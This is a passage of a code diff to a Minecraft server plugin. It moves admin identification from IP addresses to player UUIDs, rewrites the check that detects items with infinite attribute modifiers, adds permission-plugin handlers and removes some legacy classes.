+    private static class Wrapper<T>
+    {
+        private T obj;
+
+        public Wrapper(T obf)
+        {
+            obj = obf;
+        }
+
+        public void set(T obf)
+        {
+            obj = obf;
+        }
+
+        public T get()
+        {
+            return obj;
+        }
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/LoginProcess.java

@@ -3,8 +3,10 @@ package me.totalfreedom.totalfreedommod;
 import io.papermc.lib.PaperLib;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.UUID;
 import java.util.regex.Pattern;
-import me.rayzr522.jsonmessage.JSONMessage;
+
+import me.totalfreedom.totalfreedommod.admin.Admin;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.player.PlayerData;
@@ -20,6 +22,7 @@ import org.bukkit.event.player.AsyncPlayerPreLoginEvent;
 import org.bukkit.event.player.PlayerJoinEvent;
 import org.bukkit.event.player.PlayerLoginEvent;
 import org.bukkit.scheduler.BukkitRunnable;
+import org.bukkit.scheduler.BukkitTask;
 
 public class LoginProcess extends FreedomService
 {
@@ -58,13 +61,13 @@ public class LoginProcess extends FreedomService
     @EventHandler(priority = EventPriority.NORMAL)
     public void onPlayerPreLogin(AsyncPlayerPreLoginEvent event)
     {
-        final String ip = event.getAddress().getHostAddress().trim();
-        final boolean isAdmin = plugin.al.getEntryByIp(ip) != null;
+        final Admin entry = plugin.al.getEntryByUuid(event.getUniqueId());
+        final boolean isAdmin = entry != null && entry.isActive();
 
         // Check if the player is already online
         for (Player onlinePlayer : server.getOnlinePlayers())
         {
-            if (!onlinePlayer.getName().equalsIgnoreCase(event.getName()))
+            if (!onlinePlayer.getUniqueId().equals(event.getUniqueId()))
             {
                 continue;
             }
@@ -86,7 +89,7 @@ public class LoginProcess extends FreedomService
     {
         final Player player = event.getPlayer();
         final String username = player.getName();
-        final String ip = event.getAddress().getHostAddress().trim();
+        final UUID uuid = player.getUniqueId();
 
         // Check username length
         if (username.length() < MIN_USERNAME_LENGTH || username.length() > MAX_USERNAME_LENGTH)
@@ -120,7 +123,8 @@ public class LoginProcess extends FreedomService
         }
 
         // Validation below this point
-        if (plugin.al.getEntryByIp(ip) != null) // Check if player is admin
+        final Admin entry = plugin.al.getEntryByUuid(uuid);
+        if (entry != null && entry.isActive()) // Check if player is admin
         {
             // Force-allow log in
             event.allow();
@@ -175,14 +179,11 @@ public class LoginProcess extends FreedomService
         }
 
         // Whitelist
-        if (plugin.si.isWhitelisted())
-        {
-            if (!plugin.si.getWhitelisted().contains(username.toLowerCase()))
+        if (server.isWhitelistEnforced() && !player.isWhitelisted())
         {
             event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "You are not whitelisted on this server.");
         }
     }
-    }
 
     @EventHandler(priority = EventPriority.MONITOR)
     public void onPlayerJoin(PlayerJoinEvent event)
@@ -191,6 +192,22 @@ public class LoginProcess extends FreedomService
         final FPlayer fPlayer = plugin.pl.getPlayer(player);
         final PlayerData playerData = plugin.pl.getData(player);
 
+        // Sends a message to the player if they have never joined before (or simply lack player data).
+        if (!event.getPlayer().hasPlayedBefore() && ConfigEntry.FIRST_JOIN_INFO_ENABLED.getBoolean())
+        {
+            new BukkitRunnable()
+            {
+                @Override
+                public void run()
+                {
+                    for (String line : ConfigEntry.FIRST_JOIN_INFO.getStringList())
+                    {
+                        player.sendMessage(FUtil.colorize(line));
+                    }
+                }
+            }.runTaskLater(plugin, 20);
+        }
+
         player.sendTitle(FUtil.colorize(ConfigEntry.SERVER_LOGIN_TITLE.getString()), FUtil.colorize(ConfigEntry.SERVER_LOGIN_SUBTITLE.getString()), 20, 100, 60);
         player.setOp(true);
 
@@ -205,7 +222,7 @@ public class LoginProcess extends FreedomService
             return;
         }
 
-        if (!playerData.hasVerification() && !playerData.getIps().contains(FUtil.getIp(player)))
+        if (!playerData.getIps().contains(FUtil.getIp(player)))
         {
             playerData.addIp(FUtil.getIp(player));
             plugin.pl.save(playerData);
@@ -240,17 +257,9 @@ public class LoginProcess extends FreedomService
             if (noteCount != 0)
             {
                 String noteMessage = "This player has " + noteCount + " admin note" + (noteCount > 1 ? "s" : "") + ".";
-                JSONMessage notice = JSONMessage.create(ChatColor.GOLD + noteMessage + " Click here to view them.")
-                        .tooltip("Click here to view them.")
-                        .runCommand("/notes " + player.getName() + " list");
                 FLog.info(noteMessage);
-                for (Player p : server.getOnlinePlayers())
-                {
-                    if (plugin.al.isAdminImpostor(p))
-                    {
-                        notice.send(p);
-                    }
-                }
+                plugin.al.messageAllAdmins(ChatColor.GOLD + noteMessage);
+                plugin.al.messageAllAdmins(ChatColor.GOLD + "Do " + ChatColor.YELLOW + "/notes " + player.getName() + " list" + ChatColor.GOLD + " to view them.");
             }
         }
 

src/main/java/me/totalfreedom/totalfreedommod/MovementValidator.java

@@ -1,17 +1,16 @@
 package me.totalfreedom.totalfreedommod;
 
-import ca.momothereal.mojangson.ex.MojangsonParseException;
-import ca.momothereal.mojangson.value.MojangsonCompound;
-import ca.momothereal.mojangson.value.MojangsonValue;
+import com.google.common.collect.Multimap;
 import io.papermc.lib.PaperLib;
-import java.util.List;
+
+import java.util.Collection;
+import java.util.Map;
 import java.util.Objects;
-import net.minecraft.server.v1_16_R3.NBTTagCompound;
-import net.minecraft.server.v1_16_R3.NBTTagList;
 import org.bukkit.ChatColor;
 import org.bukkit.Location;
 import org.bukkit.Material;
-import org.bukkit.craftbukkit.v1_16_R3.inventory.CraftItemStack;
+import org.bukkit.attribute.Attribute;
+import org.bukkit.attribute.AttributeModifier;
 import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
@@ -20,6 +19,7 @@ import org.bukkit.event.player.PlayerLoginEvent;
 import org.bukkit.event.player.PlayerMoveEvent;
 import org.bukkit.event.player.PlayerTeleportEvent;
 import org.bukkit.inventory.ItemStack;
+import org.bukkit.inventory.meta.ItemMeta;
 
 public class MovementValidator extends FreedomService
 {
@@ -133,55 +133,49 @@ public class MovementValidator extends FreedomService
 
     private Boolean exploitItem(ItemStack item)
     {
-        net.minecraft.server.v1_16_R3.ItemStack nmsStack = CraftItemStack.asNMSCopy(item);
-        NBTTagList modifiers = getAttributeList(nmsStack);
-        MojangsonCompound compound = new MojangsonCompound();
-        boolean foundNegative = false;
-        boolean foundPositive = false;
-        try
+        if (item == null)
         {
-            String mod = modifiers.toString();
-            String fancy = ("{" + (mod.substring(1, mod.length() - 1).replace("{", "").replace("}", "")) + "}");
-            compound.read(fancy);
-            for (String key : compound.keySet())
-            {
-                if (Objects.equals(key, "Amount")) //null-safe .equals()
-                {
-                    @SuppressWarnings("rawtypes")
-                    List<MojangsonValue> values = compound.get(key);
-                    for (MojangsonValue<?> val : values)
-                    {
-                        if (val.getValue().toString().equals("Infinityd"))
-                        {
-                            foundPositive = true;
-                        }
-                        if (val.getValue().toString().equals("-Infinityd"))
-                        {
-                            foundNegative = true;
-                        }
-                    }
-                }
-            }
-        }
-        catch (MojangsonParseException e)
-        {
-            e.printStackTrace();
-        }
-        return foundNegative && foundPositive;
+            return false;
         }
 
+        ItemMeta meta = item.getItemMeta();
+        if (meta != null)
+        {
+            Multimap<Attribute, AttributeModifier> attributes = meta.getAttributeModifiers();
+            if (attributes != null)
+            {
+                Map<Attribute, Collection<AttributeModifier>> attrMap = attributes.asMap();
 
-    private NBTTagList getAttributeList(net.minecraft.server.v1_16_R3.ItemStack stack)
+                // For every attribute...
+                for (Attribute attr : attributes.keySet())
                 {
-        if (stack.getTag() == null)
+                    // Default values
+                    boolean posInf = false;
+                    boolean negInf = false;
+
+                    // For every AttributeModifier...
+                    for (AttributeModifier modifier : attrMap.get(attr))
                     {
-            stack.setTag(new NBTTagCompound());
+                        // Are they ∞ or -∞?
+                        if (modifier.getAmount() == Double.POSITIVE_INFINITY)
+                        {
+                            posInf = true;
                         }
-        NBTTagList attr = stack.getTag().getList("AttributeModifiers", 10);
-        if (attr == null)
+                        else if (modifier.getAmount() == Double.NEGATIVE_INFINITY)
                         {
-            stack.getTag().set("AttributeModifiers", new NBTTagList());
+                            negInf = true;
                         }
-        return stack.getTag().getList("AttributeModifiers", 10);
+                    }
+
+                    // Are both values set as true?
+                    if (posInf && negInf)
+                    {
+                        return true;
+                    }
+                }
+            }
+
+        }
+        return false;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/Muter.java

@@ -1,13 +1,11 @@
 package me.totalfreedom.totalfreedommod;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FSync;
-import org.apache.commons.lang.StringUtils;
 import org.bukkit.ChatColor;
 import org.bukkit.command.Command;
 import org.bukkit.entity.Player;
@@ -20,7 +18,6 @@ import org.bukkit.event.player.PlayerJoinEvent;
 public class Muter extends FreedomService
 {
 
-    public static final List<String> MUTE_COMMANDS = Arrays.asList(StringUtils.split("say,me,msg,tell,reply,mail", ","));
     public final List<String> MUTED_PLAYERS = new ArrayList<>();
 
     @Override
@@ -88,7 +85,7 @@ public class Muter extends FreedomService
             cmdName = command.getName().toLowerCase();
         }
 
-        if (MUTE_COMMANDS.contains(cmdName))
+        if (ConfigEntry.MUTED_BLOCKED_COMMANDS.getStringList().contains(cmdName))
         {
             player.sendMessage(ChatColor.RED + "That command is blocked while you are muted.");
             event.setCancelled(true);

src/main/java/me/totalfreedom/totalfreedommod/Pterodactyl.java

@@ -3,7 +3,7 @@ package me.totalfreedom.totalfreedommod;
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.List;
-import joptsimple.internal.Strings;
+import com.google.common.base.Strings;
 import me.totalfreedom.totalfreedommod.admin.Admin;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.rank.Rank;

src/main/java/me/totalfreedom/totalfreedommod/SavedFlags.java

@@ -1,98 +0,0 @@
-package me.totalfreedom.totalfreedommod;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.ObjectInputStream;
-import java.io.ObjectOutputStream;
-import java.util.HashMap;
-import java.util.Map;
-import me.totalfreedom.totalfreedommod.util.FLog;
-import static me.totalfreedom.totalfreedommod.util.FUtil.SAVED_FLAGS_FILENAME;
-
-public class SavedFlags extends FreedomService
-{
-    @Override
-    public void onStart()
-    {
-    }
-
-    @Override
-    public void onStop()
-    {
-    }
-
-    @SuppressWarnings("unchecked")
-    public Map<String, Boolean> getSavedFlags()
-    {
-        Map<String, Boolean> flags = null;
-        File input = new File(TotalFreedomMod.getPlugin().getDataFolder(), SAVED_FLAGS_FILENAME);
-
-        if (input.exists())
-        {
-            try
-            {
-                try (FileInputStream fis = new FileInputStream(input); ObjectInputStream ois = new ObjectInputStream(fis))
-                {
-                    flags = (HashMap<String, Boolean>)ois.readObject();
-                }
-            }
-            catch (Exception ex)
-            {
-                FLog.severe(ex);
-            }
-        }
-
-        return flags;
-    }
-
-    public boolean getSavedFlag(String flag) throws Exception
-    {
-        Boolean flagValue = null;
-
-        Map<String, Boolean> flags = getSavedFlags();
-
-        if (flags != null)
-        {
-            if (flags.containsKey(flag))
-            {
-                flagValue = flags.get(flag);
-            }
-        }
-
-        if (flagValue != null)
-        {
-            return flagValue;
-        }
-        else
-        {
-            throw new Exception();
-        }
-    }
-
-    public void setSavedFlag(String flag, boolean value)
-    {
-        Map<String, Boolean> flags = getSavedFlags();
-
-        if (flags == null)
-        {
-            flags = new HashMap<>();
-        }
-
-        flags.put(flag, value);
-
-        try
-        {
-            final FileOutputStream fos = new FileOutputStream(new File(plugin.getDataFolder(), SAVED_FLAGS_FILENAME));
-            final ObjectOutputStream oos = new ObjectOutputStream(fos);
-            oos.writeObject(flags);
-            oos.close();
-            fos.close();
-        }
-        catch (Exception ex)
-        {
-            FLog.severe(ex);
-        }
-    }
-
-}

src/main/java/me/totalfreedom/totalfreedommod/ServerInterface.java

@@ -1,83 +0,0 @@
-package me.totalfreedom.totalfreedommod;
-
-import java.util.Arrays;
-import java.util.List;
-import me.totalfreedom.totalfreedommod.util.FLog;
-import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.minecraft.server.v1_16_R3.EntityPlayer;
-import net.minecraft.server.v1_16_R3.MinecraftServer;
-import org.bukkit.Bukkit;
-import org.bukkit.craftbukkit.v1_16_R3.CraftServer;
-
-public class ServerInterface extends FreedomService
-{
-    public static final String COMPILE_NMS_VERSION = "v1_16_R3";
-
-    public static void warnVersion()
-    {
-        final String nms = FUtil.getNMSVersion();
-
-        if (!COMPILE_NMS_VERSION.equals(nms))
-        {
-            FLog.warning(TotalFreedomMod.pluginName + " is compiled for " + COMPILE_NMS_VERSION + " but the server is running version " + nms + "!");
-            FLog.warning("This might result in unexpected behaviour!");
-        }
-    }
-
-    @Override
-    public void onStart()
-    {
-    }
-
-    @Override
-    public void onStop()
-    {
-    }
-
-    public void setOnlineMode(boolean mode)
-    {
-        getServer().setOnlineMode(mode);
-    }
-
-    public int purgeWhitelist()
-    {
-        String[] whitelisted = getServer().getPlayerList().getWhitelisted();
-        int size = whitelisted.length;
-        for (EntityPlayer player : getServer().getPlayerList().players)
-        {
-            getServer().getPlayerList().getWhitelist().remove(player.getProfile());
-        }
-
-        try
-        {
-            getServer().getPlayerList().getWhitelist().save();
-        }
-        catch (Exception ex)
-        {
-            FLog.warning("Could not purge the whitelist!");
-            FLog.warning(ex);
-        }
-        return size;
-    }
-
-    public boolean isWhitelisted()
-    {
-        return getServer().getPlayerList().getHasWhitelist();
-    }
-
-    public List<?> getWhitelisted()
-    {
-        return Arrays.asList(getServer().getPlayerList().getWhitelisted());
-    }
-
-    public String getVersion()
-    {
-        return getServer().getVersion();
-    }
-
-    private MinecraftServer getServer()
-    {
-        return ((CraftServer)Bukkit.getServer()).getServer();
-    }
-
-}

src/main/java/me/totalfreedom/totalfreedommod/ServerPing.java

@@ -1,5 +1,6 @@
 package me.totalfreedom.totalfreedommod;
 
+import com.google.gson.Gson;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.Bukkit;
@@ -7,8 +8,13 @@ import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.server.ServerListPingEvent;
 
+import java.io.InputStreamReader;
+
 public class ServerPing extends FreedomService
 {
+    private final Gson gson = new Gson();
+    private final VersionMeta meta = gson.fromJson(new InputStreamReader(Bukkit.class.getClassLoader().getResourceAsStream("version.json")),VersionMeta.class);
+
     @Override
     public void onStart()
     {
@@ -54,7 +60,7 @@ public class ServerPing extends FreedomService
             return;
         }
 
-        String baseMotd = ConfigEntry.SERVER_MOTD.getString().replace("%mcversion%", plugin.si.getVersion());
+        String baseMotd = ConfigEntry.SERVER_MOTD.getString().replace("%mcversion%", meta.id);
         baseMotd = baseMotd.replace("\\n", "\n");
         baseMotd = FUtil.colorize(baseMotd);
 
@@ -73,4 +79,9 @@ public class ServerPing extends FreedomService
 
         event.setMotd(motd.toString().trim());
     }
+
+    private static class VersionMeta
+    {
+        private String id;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/TotalFreedomMod.java

@@ -3,6 +3,7 @@ package me.totalfreedom.totalfreedommod;
 import java.io.File;
 import java.io.InputStream;
 import java.util.Properties;
+
 import me.totalfreedom.totalfreedommod.admin.ActivityLog;
 import me.totalfreedom.totalfreedommod.admin.AdminList;
 import me.totalfreedom.totalfreedommod.banning.BanManager;
@@ -14,7 +15,6 @@ import me.totalfreedom.totalfreedommod.blocking.InteractBlocker;
 import me.totalfreedom.totalfreedommod.blocking.MobBlocker;
 import me.totalfreedom.totalfreedommod.blocking.PVPBlocker;
 import me.totalfreedom.totalfreedommod.blocking.PotionBlocker;
-import me.totalfreedom.totalfreedommod.blocking.SignBlocker;
 import me.totalfreedom.totalfreedommod.blocking.command.CommandBlocker;
 import me.totalfreedom.totalfreedommod.bridge.BukkitTelnetBridge;
 import me.totalfreedom.totalfreedommod.bridge.CoreProtectBridge;
@@ -28,7 +28,6 @@ import me.totalfreedom.totalfreedommod.command.CommandLoader;
 import me.totalfreedom.totalfreedommod.config.MainConfig;
 import me.totalfreedom.totalfreedommod.discord.Discord;
 import me.totalfreedom.totalfreedommod.freeze.Freezer;
-import me.totalfreedom.totalfreedommod.fun.CurseListener;
 import me.totalfreedom.totalfreedommod.fun.ItemFun;
 import me.totalfreedom.totalfreedommod.fun.Jumppads;
 import me.totalfreedom.totalfreedommod.fun.Landminer;
@@ -37,6 +36,10 @@ import me.totalfreedom.totalfreedommod.fun.Trailer;
 import me.totalfreedom.totalfreedommod.httpd.HTTPDaemon;
 import me.totalfreedom.totalfreedommod.permissions.PermissionConfig;
 import me.totalfreedom.totalfreedommod.permissions.PermissionManager;
+import me.totalfreedom.totalfreedommod.permissions.handler.DefaultPermissionHandler;
+import me.totalfreedom.totalfreedommod.permissions.handler.IPermissionHandler;
+import me.totalfreedom.totalfreedommod.permissions.handler.NMPermissionHandler;
+import me.totalfreedom.totalfreedommod.permissions.handler.VaultPermissionHandler;
 import me.totalfreedom.totalfreedommod.player.PlayerList;
 import me.totalfreedom.totalfreedommod.punishments.PunishmentList;
 import me.totalfreedom.totalfreedommod.rank.RankManager;
@@ -55,7 +58,6 @@ import org.bukkit.generator.ChunkGenerator;
 import org.bukkit.plugin.Plugin;
 import org.bukkit.plugin.java.JavaPlugin;
 import org.jetbrains.annotations.NotNull;
-import org.spigotmc.SpigotConfig;
 
 public class TotalFreedomMod extends JavaPlugin
 {
@@ -75,8 +77,6 @@ public class TotalFreedomMod extends JavaPlugin
     // Command Loader
     public CommandLoader cl;
     // Services
-    public ServerInterface si;
-    public SavedFlags sf;
     public WorldManager wm;
     public LogViewer lv;
     public AdminList al;
@@ -116,7 +116,6 @@ public class TotalFreedomMod extends JavaPlugin
     public Monitors mo;
     public MovementValidator mv;
     public ServerPing sp;
-    public CurseListener cul;
     public ItemFun it;
     public Landminer lm;
     public MP44 mp;
@@ -124,12 +123,10 @@ public class TotalFreedomMod extends JavaPlugin
     public Trailer tr;
     public HTTPDaemon hd;
     public WorldRestrictions wr;
-    public SignBlocker snp;
     public EntityWiper ew;
     public Sitter st;
     public VanishHandler vh;
     public Pterodactyl ptero;
-    //public HubWorldRestrictions hwr;
     //
     // Bridges
     public BukkitTelnetBridge btb;
@@ -140,6 +137,8 @@ public class TotalFreedomMod extends JavaPlugin
     public WorldEditBridge web;
     public WorldGuardBridge wgb;
 
+    public IPermissionHandler permissionHandler;
+
     public static TotalFreedomMod getPlugin()
     {
         return plugin;
@@ -151,7 +150,7 @@ public class TotalFreedomMod extends JavaPlugin
         {
             if (plugin.getName().equalsIgnoreCase(pluginName))
             {
-                return (TotalFreedomMod)plugin;
+                return (TotalFreedomMod) plugin;
             }
         }
         return null;
@@ -180,9 +179,6 @@ public class TotalFreedomMod extends JavaPlugin
         final MethodTimer timer = new MethodTimer();
         timer.start();
 
-        // Warn if we're running on a wrong version
-        ServerInterface.warnVersion();
-
         // Delete unused files
         FUtil.deleteCoreDumps();
         FUtil.deleteFolder(new File("./_deleteme"));
@@ -190,7 +186,6 @@ public class TotalFreedomMod extends JavaPlugin
         fsh = new FreedomServiceHandler();
 
         config = new MainConfig();
-        config.load();
 
         if (FUtil.inDeveloperMode())
         {
@@ -216,13 +211,24 @@ public class TotalFreedomMod extends JavaPlugin
         FLog.info("Started " + fsh.getServiceAmount() + " services.");
 
         timer.update();
-        FLog.info("Version " + pluginVersion + " for " + ServerInterface.COMPILE_NMS_VERSION + " enabled in " + timer.getTotal() + "ms");
+        FLog.info("Version " + pluginVersion + " enabled in " + timer.getTotal() + "ms");
 
         // Metrics @ https://bstats.org/plugin/bukkit/TotalFreedomMod/2966
         new Metrics(this, 2966);
 
-        // little workaround to stop spigot from autorestarting - causing AMP to detach from process.
-        SpigotConfig.config.set("settings.restart-on-crash", false);
+        if (getServer().getPluginManager().isPluginEnabled("NetworkManager"))
+        {
+            FLog.info("Using NetworkManager's permission handling");
+            this.permissionHandler = new NMPermissionHandler(this);
+        } else if (getServer().getPluginManager().isPluginEnabled("Vault"))
+        {
+            FLog.info("Using Vault's permission handling");
+            this.permissionHandler = new VaultPermissionHandler(this);
+        } else
+        {
+            FLog.info("Using Bukkit's native permission handling");
+            this.permissionHandler = new DefaultPermissionHandler();
+        }
     }
 
     @Override
@@ -270,8 +276,7 @@ public class TotalFreedomMod extends JavaPlugin
                 date = props.getProperty("buildDate", "unknown");
                 // Need to do this or it will display ${git.commit.id.abbrev}
                 head = props.getProperty("buildHead", "unknown").replace("${git.commit.id.abbrev}", "unknown");
-            }
-            catch (Exception ex)
+            } catch (Exception ex)
             {
                 FLog.severe("Could not load build properties! Did you compile with NetBeans/Maven?");
                 FLog.severe(ex);
@@ -301,8 +306,6 @@ public class TotalFreedomMod extends JavaPlugin
         private void initServices()
         {
             // Start services
-            si = new ServerInterface();
-            sf = new SavedFlags();
             wm = new WorldManager();
             lv = new LogViewer();
             sql = new SQLite();
@@ -330,7 +333,6 @@ public class TotalFreedomMod extends JavaPlugin
             im = new IndefiniteBanList();
             pem = new PermissionManager();
             gr = new GameRuleHandler();
-            snp = new SignBlocker();
             ew = new EntityWiper();
             st = new Sitter();
             vh = new VanishHandler();
@@ -368,7 +370,6 @@ public class TotalFreedomMod extends JavaPlugin
         private void initFun()
         {
             // Fun
-            cul = new CurseListener();
             it = new ItemFun();
             lm = new Landminer();
             mp = new MP44();

src/main/java/me/totalfreedom/totalfreedommod/admin/ActivityLogEntry.java

@@ -72,7 +72,15 @@ public class ActivityLogEntry implements IConfig
 
     public void addLogout()
     {
-        String lastLoginString = timestamps.get(timestamps.size() - 1); // there's a bug with subtracting the -1 here
+        // Fix of Array index out of bonds issue: FS-131
+        String lastLoginString;
+        if(timestamps.size() > 1)
+        {
+            lastLoginString = timestamps.get(timestamps.size() - 1);
+        }else
+        {
+            lastLoginString = timestamps.get(0);
+        }
         Date currentTime = Date.from(Instant.now());
         timestamps.add("Logout: " + FUtil.dateToString(currentTime));
         lastLoginString = lastLoginString.replace("Login: ", "");

src/main/java/me/totalfreedom/totalfreedommod/admin/Admin.java

@@ -2,11 +2,8 @@ package me.totalfreedom.totalfreedommod.admin;
 
 import java.sql.ResultSet;
 import java.sql.SQLException;
-import java.util.ArrayList;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
+import java.util.*;
+
 import me.totalfreedom.totalfreedommod.LogViewer.LogsRegistrationMode;
 import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.rank.Rank;
@@ -18,29 +15,19 @@ import org.bukkit.entity.Player;
 
 public class Admin
 {
-
-
     private final List<String> ips = new ArrayList<>();
-    private String name;
+    private UUID uuid;
     private boolean active = true;
     private Rank rank = Rank.ADMIN;
     private Date lastLogin = new Date();
-
-
     private Boolean commandSpy = false;
-
-
     private Boolean potionSpy = false;
-
-
     private String acFormat = null;
-
-
     private String pteroID = null;
 
     public Admin(Player player)
     {
-        this.name = player.getName();
+        uuid = player.getUniqueId();
         this.ips.add(FUtil.getIp(player));
     }
 
@@ -48,7 +35,7 @@ public class Admin
     {
         try
         {
-            this.name = resultSet.getString("username");
+            this.uuid = UUID.fromString(resultSet.getString("uuid"));
             this.active = resultSet.getBoolean("active");
             this.rank = Rank.findRank(resultSet.getString("rank"));
             this.ips.clear();
@@ -70,7 +57,7 @@ public class Admin
     {
         final StringBuilder output = new StringBuilder();
 
-        output.append("Admin: ").append(name).append("\n")
+        output.append("Admin: ").append(getName()).append("\n")
                 .append("- IPs: ").append(StringUtils.join(ips, ", ")).append("\n")
                 .append("- Last Login: ").append(FUtil.dateToString(lastLogin)).append("\n")
                 .append("- Rank: ").append(rank.getName()).append("\n")
@@ -86,7 +73,7 @@ public class Admin
     {
         Map<String, Object> map = new HashMap<String, Object>()
         {{
-            put("username", name);
+            put("uuid", uuid.toString());
             put("active", active);
             put("rank", rank.toString());
             put("ips", FUtil.listToString(ips));
@@ -128,20 +115,20 @@ public class Admin
 
     public boolean isValid()
     {
-        return name != null
+        return uuid != null
                 && rank != null
                 && !ips.isEmpty()
                 && lastLogin != null;
     }
 
-    public String getName()
+    public UUID getUuid()
     {
-        return name;
+        return uuid;
     }
 
-    public void setName(String name)
+    public String getName()
     {
-        this.name = name;
+        return Bukkit.getOfflinePlayer(uuid).getName();
     }
 
     public boolean isActive()

src/main/java/me/totalfreedom/totalfreedommod/admin/AdminList.java

@@ -2,31 +2,31 @@ package me.totalfreedom.totalfreedommod.admin;
 
 import com.google.common.collect.Maps;
 import com.google.common.collect.Sets;
+
 import java.sql.ResultSet;
 import java.sql.SQLException;
-import java.util.ArrayList;
-import java.util.Date;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.concurrent.TimeUnit;
+
 import me.totalfreedom.totalfreedommod.FreedomService;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
+import me.totalfreedom.totalfreedommod.permissions.handler.NMPermissionHandler;
+import me.totalfreedom.totalfreedommod.permissions.handler.VaultPermissionHandler;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.Bukkit;
 import org.bukkit.command.CommandSender;
+import org.bukkit.command.ConsoleCommandSender;
 import org.bukkit.entity.Player;
 
 public class AdminList extends FreedomService
 {
     public static final List<String> vanished = new ArrayList<>();
-    public final List<String> verifiedNoAdmin = new ArrayList<>();
-    public final Map<String, List<String>> verifiedNoAdminIps = Maps.newHashMap();
     private final Set<Admin> allAdmins = Sets.newHashSet(); // Includes disabled admins
     // Only active admins below
     private final Set<Admin> activeAdmins = Sets.newHashSet();
+    private final Map<UUID, Admin> uuidTable = Maps.newHashMap();
     private final Map<String, Admin> nameTable = Maps.newHashMap();
     private final Map<String, Admin> ipTable = Maps.newHashMap();
 
@@ -60,14 +60,13 @@ public class AdminList extends FreedomService
                     allAdmins.add(admin);
                 }
             }
-        }
-        catch (SQLException e)
+        } catch (SQLException e)
         {
             FLog.severe("Failed to load admin list: " + e.getMessage());
         }
 
         updateTables();
-        FLog.info("Loaded " + allAdmins.size() + " admins (" + nameTable.size() + " active,  " + ipTable.size() + " IPs)");
+        FLog.info("Loaded " + allAdmins.size() + " admins (" + uuidTable.size() + " active, " + ipTable.size() + " IPs)");
     }
 
     public void messageAllAdmins(String message)
@@ -115,7 +114,7 @@ public class AdminList extends FreedomService
             return true;
         }
 
-        Admin admin = getAdmin((Player)sender);
+        Admin admin = getAdmin((Player) sender);
 
         return admin != null && admin.isActive();
     }
@@ -126,28 +125,48 @@ public class AdminList extends FreedomService
         {
             return true;
         }
+        if (plugin.permissionHandler instanceof NMPermissionHandler || plugin.permissionHandler instanceof VaultPermissionHandler)
+        {
+//            FLog.debug("Using " + plugin.permissionHandler.getClass().getSimpleName() + " for AdminList#isAdmin");
+            return plugin.permissionHandler.inGroup(player, ConfigEntry.PERMISSIONS_GROUPS_ADMIN.getString());
+        }
+//        FLog.debug("AdminList#isAdmin: Returning false because there is no permissions plugin that supports groups on the server");
+        return false;
 
-        Admin admin = getAdmin(player);
+        /*Admin admin = getAdmin(player);
 
-        return admin != null && admin.isActive();
+        return admin != null && admin.isActive();*/
     }
 
     public boolean isSeniorAdmin(CommandSender sender)
     {
-        Admin admin = getAdmin(sender);
+        //TODO: BukkitTelnet checks, but fuck that plugin
+        if (sender instanceof ConsoleCommandSender)
+        {
+            return true;
+        }
+        if (sender instanceof Player player && (plugin.permissionHandler instanceof NMPermissionHandler || plugin.permissionHandler instanceof VaultPermissionHandler))
+        {
+//            FLog.debug("Using " + plugin.permissionHandler.getClass().getSimpleName() + " for AdminList#isSeniorAdmin");
+            return plugin.permissionHandler.inGroup(player, ConfigEntry.PERMISSIONS_GROUPS_SENIOR.getString());
+        }
+//        FLog.debug("AdminList#isSeniorAdmin: Returning false because there is no permissions plugin that supports groups on the server");
+        return false;
+//        return plugin.permissionHandler.hasPermission(sender, "totalfreedommod.admin");
+        /*Admin admin = getAdmin(sender);
         if (admin == null)
         {
             return false;
         }
 
-        return admin.getRank().ordinal() >= Rank.SENIOR_ADMIN.ordinal();
+        return admin.getRank().ordinal() >= Rank.SENIOR_ADMIN.ordinal();*/
     }
 
     public Admin getAdmin(CommandSender sender)
     {
         if (sender instanceof Player)
         {
-            return getAdmin((Player)sender);
+            return getAdmin((Player) sender);
         }
 
         return getEntryByName(sender.getName());
@@ -155,40 +174,20 @@ public class AdminList extends FreedomService
 
     public Admin getAdmin(Player player)
     {
-        // Find admin
-        String ip = FUtil.getIp(player);
-        Admin admin = getEntryByName(player.getName());
+        final String ip = FUtil.getIp(player);
+        final Admin entry = getEntryByUuid(player.getUniqueId());
 
-        // Admin by name
-        if (admin != null)
+        if (entry != null && !entry.getIps().contains(ip))
         {
-            // Check if we're in online mode,
-            // Or the players IP is in the admin entry
-            if (Bukkit.getOnlineMode() || admin.getIps().contains(ip))
-            {
-                if (!admin.getIps().contains(ip))
-                {
-                    // Add the new IP if we have to
-                    admin.addIp(ip);
-                    save(admin);
-                    updateTables();
-                }
-                return admin;
-            }
+            entry.addIp(ip);
         }
 
-        // Admin by ip
-        admin = getEntryByIp(ip);
-        if (admin != null)
-        {
-            // Set the new username
-            String oldName = admin.getName();
-            admin.setName(player.getName());
-            plugin.sql.updateAdminName(oldName, admin.getName());
-            updateTables();
+        return entry;
     }
 
-        return null;
